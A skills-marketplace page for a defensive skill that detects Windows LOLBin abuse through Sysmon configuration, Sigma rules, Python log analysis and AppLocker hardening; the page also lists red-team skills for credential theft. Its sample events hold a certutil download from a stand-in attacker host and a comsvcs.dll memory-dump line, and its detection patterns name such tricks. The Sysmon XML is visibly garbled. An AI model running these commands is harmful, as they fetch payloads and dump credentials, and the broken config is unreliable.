Skip to main content
detecting-living-off-the-land-attacks Detect abuse of legitimate Windows binaries (LOLBins) used for living off the land attacks. Monitors process creation, command-line arguments, and parent-child relationships to identify suspicious LOLBin execution patterns.
설치로 이동 Skills Marketplace 커뮤니티가 만든 AI 스킬을 발견하고 탐색하세요.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills --skill detecting-living-off-the-land-attacks명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
Zip 다운로드 다운로드 중... 이 저장소의 다른 Skills abusing-dpapi-for-credential-access Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.
abusing-shadow-credentials-for-privesc Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.
acquiring-disk-image-with-dd-and-dcfldd Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.
name detecting-living-off-the-land-attacks description Detect abuse of legitimate Windows binaries (LOLBins) used for living off the land attacks. Monitors process creation, command-line arguments, and parent-child relationships to identify suspicious LOLBin execution patterns.
domain cybersecurity subdomain threat-detection tags ["lolbins","lotl","fileless-attacks","process-monitoring"] version 1.0 author mahipal license Apache-2.0 d3fend_techniques ["Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Network Traffic Community Deviation"] nist_csf ["DE.CM-01","DE.AE-02","DE.AE-06","ID.RA-05"] mitre_attack ["T1078","T1190","T1059"]
Detecting Living Off the Land Attacks
Monitor for suspicious use of legitimate Windows binaries (LOLBins)
including certutil, mshta, rundll32, regsvr32, and others used in
fileless and living-off-the-land attack techniques.
When to Use
Building detection rules for SIEM or EDR platforms to catch LOLBin abuse in real time
Investigating alerts where legitimate system binaries appear in unexpected execution contexts
Threat hunting across endpoint telemetry for fileless attack indicators
Hardening application whitelisting policies (AppLocker, WDAC) to restrict dangerous LOLBin usage
Creating Sysmon configurations tuned to capture LOLBin-related process creation events
Responding to incidents where adversaries bypassed AV by using only built-in OS tools
Do not use for blocking all LOLBin execution outright; these are legitimate system tools with valid administrative uses. Detection must focus on anomalous context (parent process, command-line arguments, network activity) rather than binary presence alone.
Prerequisites
Sysmon v15+ installed on Windows endpoints with a tuned configuration (SwiftOnSecurity or Olaf Hartong baseline)
SIEM platform ingesting Sysmon Event IDs 1 (Process Create), 3 (Network Connection), 7 (Image Loaded), 11 (File Create)
Windows Event Log forwarding for Security Event IDs 4688 (Process Creation with command-line logging enabled)
LOLBAS project reference: https://lolbas-project.github.io/
Python 3.8+ with evtx, pandas for offline log analysis
Sigma rule repository for cross-platform detection rule authoring
Workflow
Step 1: Deploy a LOLBin-Focused Sysmon Configuration
Create a Sysmon config that captures the process creation and network events needed for LOLBin detection:
<Sysmon schemaversion ="4.90" >
<EventFiltering >
<RuleGroup name ="LOLBin Process Creation" groupRelation ="or" >
certutil.exe
mshta.exe
rundll32.exe
regsvr32.exe
msbuild.exe
installutil.exe
cmstp.exe
wmic.exe
bitsadmin.exe
certreq.exe
esentutl.exe
expand.exe
extrac32.exe
findstr.exe
hh.exe
ie4uinit.exe
mavinject.exe
msiexec.exe
odbcconf.exe
pcalua.exe
presentationhost.exe
replace.exe
xwizard.exe
powershell.exe
pwsh.exe
cscript.exe
wscript.exe
certutil.exe
mshta.exe
rundll32.exe
regsvr32.exe
msbuild.exe
bitsadmin.exe
expand.exe
esentutl.exe
replace.exe
<ProcessCreate onmatch ="include" >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
</ProcessCreate >
</RuleGroup >
<RuleGroup name ="LOLBin Network" groupRelation ="or" >
<NetworkConnect onmatch ="include" >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
<Image condition ="end with" >
</Image >
</NetworkConnect >
</RuleGroup >
</EventFiltering >
</Sysmon >
# Install or update Sysmon with the LOLBin config
sysmon64.exe -accepteula -i sysmon-lolbin-detection.xml
# Update existing Sysmon installation
sysmon64.exe -c sysmon-lolbin-detection.xml
Step 2: Build Sigma Detection Rules for Key LOLBins Write Sigma rules that detect specific abuse patterns, translatable to any SIEM:
title: Certutil Used to Download File
id: a1b2c3d4-5678-9abc-def0-123456789abc
status: stable
description: >
Detects certutil.exe being used to download files from remote URLs,
a common LOLBin technique for payload delivery (LOLBAS T1105).
references:
- https://lolbas-project.github.io/lolbas/Binaries/Certutil/
- https://attack.mitre.org/techniques/T1105/
author: Threat Detection Team
date: 2026 /01/20
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\certutil.exe'
CommandLine|contains|all:
- 'urlcache'
- '-f'
- 'http'
condition: selection
falsepositives:
- Legitimate certificate enrollment using certutil with URL parameters
level: high
tags:
- attack.defense_evasion
- attack.t1218
- attack.command_and_control
- attack.t1105
title: MSHTA Executing Remote or Inline Script
id: b2c3d4e5-6789-abcd-ef01-234567890bcd
status: stable
description: >
Detects mshta.exe executing scripts from URLs or inline VBScript/JavaScript,
commonly used for application whitelisting bypass and initial access.
references:
- https://lolbas-project.github.io/lolbas/Binaries/Mshta/
- https://attack.mitre.org/techniques/T1218/005/
logsource:
category: process_creation
product: windows
detection:
selection_remote:
Image|endswith: '\mshta.exe'
CommandLine|contains: 'http'
selection_inline:
Image|endswith: '\mshta.exe'
CommandLine|contains:
- 'vbscript:'
- 'javascript:'
selection_parent_anomaly:
Image|endswith: '\mshta.exe'
ParentImage|endswith:
- '\winword.exe'
- '\excel.exe'
- '\outlook.exe'
- '\powerpnt.exe'
condition: selection_remote or selection_inline or selection_parent_anomaly
falsepositives:
- Legacy HTA-based internal applications
level: high
title: Regsvr32 Squiblydoo Scriptlet Execution
id: c3d4e5f6-7890-bcde-f012-345678901cde
status: stable
description: >
Detects regsvr32.exe loading scrobj.dll with a remote scriptlet URL,
known as the Squiblydoo technique for AppLocker bypass.
references:
- https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
- https://attack.mitre.org/techniques/T1218/010/
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\regsvr32.exe'
CommandLine|contains|all:
- 'scrobj.dll'
- '/i:'
condition: selection
falsepositives:
- Legitimate COM scriptlet registration (rare in modern environments)
level: critical
Step 3: Analyze Sysmon Logs for LOLBin Abuse Patterns Parse and correlate Sysmon events to identify suspicious LOLBin execution:
import json
import re
from datetime import datetime, timedelta
from collections import defaultdict
from pathlib import Path
LOLBIN_SIGNATURES = {
"certutil.exe" : {
"suspicious_args" : [
r"-urlcache\s+-f\s+http" ,
r"-decode\s+" ,
r"-encode\s+" ,
r"-verifyctl\s+.*http" ,
],
"mitre" : "T1218, T1105" ,
"severity" : "high"
},
"mshta.exe" : {
"suspicious_args" : [
r"https?://" ,
r"vbscript:" ,
r"javascript:" ,
r"about:" ,
],
"mitre" : "T1218.005" ,
"severity" : "high"
},
"rundll32.exe" : {
"suspicious_args" : [
r"javascript:" ,
r"shell32\.dll.*ShellExec_RunDLL" ,
r"\\\\.*\\.*\.dll" ,
r"comsvcs\.dll.*MiniDump" ,
],
"mitre" : "T1218.011" ,
"severity" : "critical"
},
"regsvr32.exe" : {
"suspicious_args" : [
r"/s\s+/n\s+/u\s+/i:" ,
r"scrobj\.dll" ,
r"https?://" ,
],
"mitre" : "T1218.010" ,
"severity" : "critical"
},
"bitsadmin.exe" : {
"suspicious_args" : [
r"/transfer\s+.*https?://" ,
r"/create\s+.*\/addfile\s+.*https?://" ,
r"/SetNotifyCmdLine" ,
],
"mitre" : "T1197" ,
"severity" : "high"
},
"wmic.exe" : {
"suspicious_args" : [
r"process\s+call\s+create" ,
r"/node:" ,
r"os\s+get\s+/format:.*https?://" ,
r"xsl.*https?://" ,
],
"mitre" : "T1047" ,
"severity" : "high"
},
"msbuild.exe" : {
"suspicious_args" : [
r"\.xml\b" ,
r"\.csproj\b" ,
r"\\temp\\" ,
r"\\appdata\\" ,
],
"mitre" : "T1127.001" ,
"severity" : "high"
},
"mavinject.exe" : {
"suspicious_args" : [
r"/INJECTRUNNING\s+\d+" ,
],
"mitre" : "T1218.013" ,
"severity" : "critical"
},
}
def analyze_sysmon_events (events ):
"""Analyze Sysmon process creation events for LOLBin abuse."""
alerts = []
for event in events:
image = event.get("Image" , "" ).lower()
cmdline = event.get("CommandLine" , "" )
parent = event.get("ParentImage" , "" )
for lolbin, config in LOLBIN_SIGNATURES.items():
if image.endswith(lolbin.lower()):
for pattern in config["suspicious_args" ]:
if re.search(pattern, cmdline, re.IGNORECASE):
alert = {
"timestamp" : event.get("UtcTime" , "" ),
"hostname" : event.get("Computer" , "" ),
"lolbin" : lolbin,
"command_line" : cmdline,
"parent_process" : parent,
"user" : event.get("User" , "" ),
"process_id" : event.get("ProcessId" , "" ),
"parent_pid" : event.get("ParentProcessId" , "" ),
"mitre_technique" : config["mitre" ],
"severity" : config["severity" ],
"matched_pattern" : pattern,
}
alerts.append(alert)
break
return alerts
sample_events = [
{
"UtcTime" : "2026-01-20 14:32:15.000" ,
"Computer" : "WORKSTATION-01" ,
"Image" : "C:\\Windows\\System32\\certutil.exe" ,
"CommandLine" : "certutil.exe -urlcache -f http://evil.example.com/payload.exe C:\\temp\\update.exe" ,
"ParentImage" : "C:\\Windows\\System32\\cmd.exe" ,
"User" : "CORP\\jsmith" ,
"ProcessId" : "4532" ,
"ParentProcessId" : "2108" ,
},
{
"UtcTime" : "2026-01-20 14:33:01.000" ,
"Computer" : "WORKSTATION-01" ,
"Image" : "C:\\Windows\\System32\\rundll32.exe" ,
"CommandLine" : "rundll32.exe comsvcs.dll, MiniDump 624 C:\\temp\\dump.bin full" ,
"ParentImage" : "C:\\Windows\\System32\\cmd.exe" ,
"User" : "CORP\\jsmith" ,
"ProcessId" : "5128" ,
"ParentProcessId" : "2108" ,
},
]
alerts = analyze_sysmon_events(sample_events)
for alert in alerts:
print (f"[{alert['severity' ].upper()} ] {alert['lolbin' ]} on {alert['hostname' ]} " )
print (f" MITRE: {alert['mitre_technique' ]} " )
print (f" Command: {alert['command_line' ][:120 ]} " )
print (f" Parent: {alert['parent_process' ]} " )
print (f" User: {alert['user' ]} " )
print ()
Step 4: Detect LOLBin Network Connections LOLBins making outbound network connections is a strong indicator of malicious use:
def detect_lolbin_network_activity (network_events, process_events ):
"""Correlate Sysmon network events (ID 3) with process creation (ID 1)
to find LOLBins making outbound connections."""
NETWORK_SUSPICIOUS = {
"certutil.exe" , "mshta.exe" , "rundll32.exe" , "regsvr32.exe" ,
"msbuild.exe" , "installutil.exe" , "bitsadmin.exe" , "esentutl.exe" ,
"expand.exe" , "replace.exe" , "cmstp.exe" , "presentationhost.exe" ,
}
alerts = []
for event in network_events:
image = event.get("Image" , "" ).lower()
binary_name = image.split("\\" )[-1 ] if "\\" in image else image
if binary_name in NETWORK_SUSPICIOUS:
dest_ip = event.get("DestinationIp" , "" )
dest_port = event.get("DestinationPort" , "" )
if dest_ip.startswith("127." ) or dest_ip == "::1" :
continue
alert = {
"type" : "lolbin_network_connection" ,
"binary" : binary_name,
"destination_ip" : dest_ip,
"destination_port" : dest_port,
"destination_hostname" : event.get("DestinationHostname" , "" ),
"source_ip" : event.get("SourceIp" , "" ),
"user" : event.get("User" , "" ),
"timestamp" : event.get("UtcTime" , "" ),
"severity" : "critical" ,
}
alerts.append(alert)
print (f"[CRITICAL] {binary_name} connected to "
f"{dest_ip} :{dest_port} ({event.get('DestinationHostname' , 'N/A' )} )" )
return alerts
Step 5: Monitor Anomalous Parent-Child Process Relationships
SUSPICIOUS_PARENT_CHILD = [
{"parent" : ["winword.exe" , "excel.exe" , "powerpnt.exe" , "outlook.exe" ],
"child" : ["cmd.exe" , "powershell.exe" , "pwsh.exe" , "mshta.exe" ,
"wscript.exe" , "cscript.exe" , "certutil.exe" ],
"severity" : "critical" , "mitre" : "T1204.002" },
{"parent" : ["explorer.exe" ],
"child" : ["mshta.exe" , "regsvr32.exe" , "msbuild.exe" ],
"severity" : "high" , "mitre" : "T1218" },
{"parent" : ["wmiprvse.exe" ],
"child" : ["cmd.exe" , "powershell.exe" , "mshta.exe" ],
"severity" : "critical" , "mitre" : "T1047" },
{"parent" : ["services.exe" ],
"child" : ["cmd.exe" , "powershell.exe" , "mshta.exe" , "rundll32.exe" ],
"severity" : "high" , "mitre" : "T1543.003" },
]
def check_parent_child_anomaly (event ):
"""Check if a process creation event has a suspicious parent-child pair."""
parent = event.get("ParentImage" , "" ).split("\\" )[-1 ].lower()
child = event.get("Image" , "" ).split("\\" )[-1 ].lower()
for rule in SUSPICIOUS_PARENT_CHILD:
if parent in rule["parent" ] and child in rule["child" ]:
return {
"alert_type" : "suspicious_parent_child" ,
"parent" : parent,
"child" : child,
"command_line" : event.get("CommandLine" , "" ),
"mitre" : rule["mitre" ],
"severity" : rule["severity" ],
"hostname" : event.get("Computer" , "" ),
"user" : event.get("User" , "" ),
"timestamp" : event.get("UtcTime" , "" ),
}
return None
Step 6: Implement AppLocker or WDAC Hardening Restrict unnecessary LOLBin execution with application control policies:
# Query current AppLocker policy
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections
# Create AppLocker rules to restrict certutil to admin-only
$rule = New-AppLockerPolicy -RuleType Publisher -RuleNamePrefix "Block" `
-FileInformation "C:\Windows\System32\certutil.exe" `
-User "S-1-1-0" -Deny
# Export current policy for backup before applying changes
Get-AppLockerPolicy -Effective -Xml > AppLocker_Backup.xml
# Block specific LOLBins for standard users via GPO script
$lolbins_to_restrict = @(
"mshta.exe", "cmstp.exe", "msbuild.exe", "installutil.exe",
"regsvr32.exe", "presentationhost.exe", "ie4uinit.exe",
"mavinject.exe", "xwizard.exe"
)
foreach ($binary in $lolbins_to_restrict) {
$path = "C:\Windows\System32\$binary"
if (Test-Path $path) {
Write-Output "Restricting: $path"
# Apply WDAC deny rule via PowerShell
# In production, use Group Policy or Intune WDAC policies
}
}
Verification
Confirm Sysmon is logging Event ID 1 (Process Creation) with full command-line arguments for all listed LOLBins
Validate Sigma rules convert correctly to your SIEM query language using sigmac or sigma-cli
Test detection by executing benign LOLBin commands in a lab environment and confirming alerts fire
Verify parent-child anomaly detection catches Office-to-LOLBin chains (e.g., winword.exe spawning certutil.exe)
Confirm LOLBin network connection detection triggers when certutil.exe or mshta.exe reach out to external IPs
Check that AppLocker or WDAC policies do not break legitimate administrative workflows before deploying to production
Validate false positive rates by running detection rules against 7 days of baseline telemetry from a clean environment
Cross-reference detections against the LOLBAS project database at https://lolbas-project.github.io/ for completeness